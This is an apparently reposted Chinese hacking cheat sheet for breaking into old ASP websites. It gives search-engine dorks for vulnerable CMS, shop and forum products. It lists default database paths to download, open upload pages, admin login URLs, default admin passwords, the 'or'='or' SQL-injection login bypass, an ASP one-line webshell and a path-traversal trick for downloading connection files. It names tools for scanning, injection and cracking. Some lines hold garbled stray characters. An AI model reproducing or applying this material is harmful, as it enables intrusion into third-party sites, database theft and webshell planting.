[转帖]入侵搜索关键字

默认数据库: databases/myszw.mdb  databases/myszw1.mdb

上传  upload_photo.asp?photourlid=3  upload_photo.asp?photourlid=1
----------------------------------------------------
关键字：网站建设公司企业网站管理系统
后缀：  admin/login.asp
---------------------------------------
关键字：网梦购物系统 gcs<ibt  7  
工具：  挖掘鸡 后缀：/admin/login.asp
------------------------------------------------
上传后缀：upfile_photo.asp

          upfile_softpic.asp

          upfile_adpic.asp
          upfile.asp
          upfile_flash.asp
          upload.asp
          upfile_article.asp
          upfile_adpic.asp
          upfile_orderpic.asp
          upfile_adpia.asp
          upfile_articla.asp
          upfile_dialog.asp
关键字：1。power system of article management ver 3.0 build 20030628. powered by webboy. ?
2。power system of article management ver 3.0
3。power system of article management. 2.0 build  powered by webboy  
4。power system of article management. 2.0 build  powered by butian  
5。powered by ：smt version 5.0  
powered by ：smt version 5.1
-------------------------------------------------------
                    一句话木马
google里搜索关键字:
上面的这个名字只是该留言者使用的昵称,不代表任何管理员身份&nbsp;  
把index.asp换成  mdb/vcsbook.asp  
代码：<%execute request  "value"  %>
---------------------------------------
关键子：inurl:went.asp  
后缀：manage/login.asp
密码：'or''=''or'  
============================
关键字：acblog
blogdata/acblog.asa    默认数据库。
=======================================  
关键字:copyright ? 2005-2008??power

然后写入默认数据库：databass/datashop.asp
在网址后面加上主页后面加上：linktianjia.asp
申请连接输入一句话代码：<%execute request  "value"  %>
或者点下面的管理入口  密码：'or'='or'  

一句话连接的时候在网站后面加上：databass/datashop.asp  
========================================================
关键词 co net mib ver 1.0 design by hypo  
搜索网站 http://www.yahoo.cn
密码  'or'='or'  
==============================================  
新云漏洞：把/flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp 找到数据库地址比如 www.123.com 这个站 那么数据库地址就是 http://www.123.com/database\xzws.mdb 大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了如:#xzws.mdb 改成%23xzws.mdb 那么数据库就是http://www.123.com/database\%23xzws.mdb然后下载 数据库  
======================================================
网站猎手 一句话木马
关键字：powered by bbsxp 7.00  
后缀：database\bbsxp7.mdb
默认后台：/bbsxp/login.asp  
=====================================  
关键字:management ver 3.0 build 20030628
后缀：upload.asp  
一：网站猎手 t0/ff'gzd  
二：明小子
三：asp木马 =dus
====================
密码：'or'='or'
搜索：web manage ver 1.0
lqt ver 1.0  design by wm  6  
web development by ver 1.0 final
web management ver 1.0  design by ck8
=====================================
edit.asp?table=
edit.asp?boardname=  
action=
cnunews=  
news_main&acode=
asp?id=1
asp?id=2   
&idx=
edit.asp?idx=
啊d注入工具 百度搜索
=========================

搜索：co net mib ver 1.0网站后台管理系统   
===============================================
用到工具:挖掘鸡
后缀添加:admin/login.asp
搜索关键词:申请会员有什么好处?
密码：'or'='or'
=================================
啊d注入工具--百度----关键子：admin
====================================  
挖掘机关键字：powered by webboy页面：/upfile.asp
网站猎手关键字：powered by mypower 后缀：upfile_photo.asp
upfile_softpic.asp
upfile_adpic.asp  
======================
关键字：power by:venshop v7.01 copyright:venshop.com
密码：'or'='or'
======================= ;:
关键字:powered by mypower
漏洞页面:upfile_photo.asp
        upfile_soft.asp
        upfile_adpic.asp
        upfile_softpic.asp
===============================
关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成
漏洞页面:upload.asp
        upfile_flash.asp  
=============================
网上搜索  inurl:manage/login.asp
======================================
关键字:power by:venshop v7.01
后台地址:ad_login.asp
密码：'or'='or'
====================
关键字：powered by webboy
后缀：/upfile.asp
工具：明小子上传
====================
关键词：inurl:  asp?=数字   
        inurl:  php?=数字  
===========================
关键字:went.asp
后缀：manage/login.asp
==========================
添加后缀/msmir_net.mdb  
搜索：inurl:msmir_downloads
===============================
关键字powered by ：smt version 5.0
后缀：upfile_flash.asp
===========================
关键字：你要入侵的类别 inurl:asp
工具：啊d注入工具 
==================================
========================================
一、入侵bbsxp系统：
用到的工具：网站猎手    数据库小助手  md5密码破解工具
关键词：广告合作
管理员登陆地址：bbs主页
默认数据库地址：/database/bbsxp.mdb
-----------------------------------------
二、入侵动网论坛
用到工具：网站猎手    数据库小助手  md5密码破解工具
关键词：powered by dvbbs 
默认数据库地址：data/dvbbs7.mdb  或者databackup/dvbbs7.mdb或者bbs/databackup/dvbbs7.mdb
或者/bbs/data/dvbbs7.mdb   
管理员登陆地址：bbs主页
默认管理员帐号密码：admin admin888
--------------------------------------
三、入侵新云系统
用到的工具：数据库小助手  md5密码破解工具  挖掘鸡 ?n 6'*2{nt  
eier\x4\~~  
关键词：本站所提供的程序均来自于 internet  所以无法保证下载后一定可以安装
管理员登陆地址：/admin/admin_login.asp u  
默认数据库：database/#newasp.mdb（因为加了#在浏览器是无法连接的。所以我们要改成%23）  
database/%23newasp.mdb
默认管理员帐号密码：admin admin
-----------------------------------  
四、入侵无忧传奇系统
用到的工具：网站猎手    数据库小助手  md5密码破解工具  
关键字： inurl:msmir_downloads  
默认数据库地址：数据库连接：/msmir_net.mdb 或/msmir/msmir.mdb
管理员登陆地址：admin.asp 
默认管理员帐号密码：msmir msmir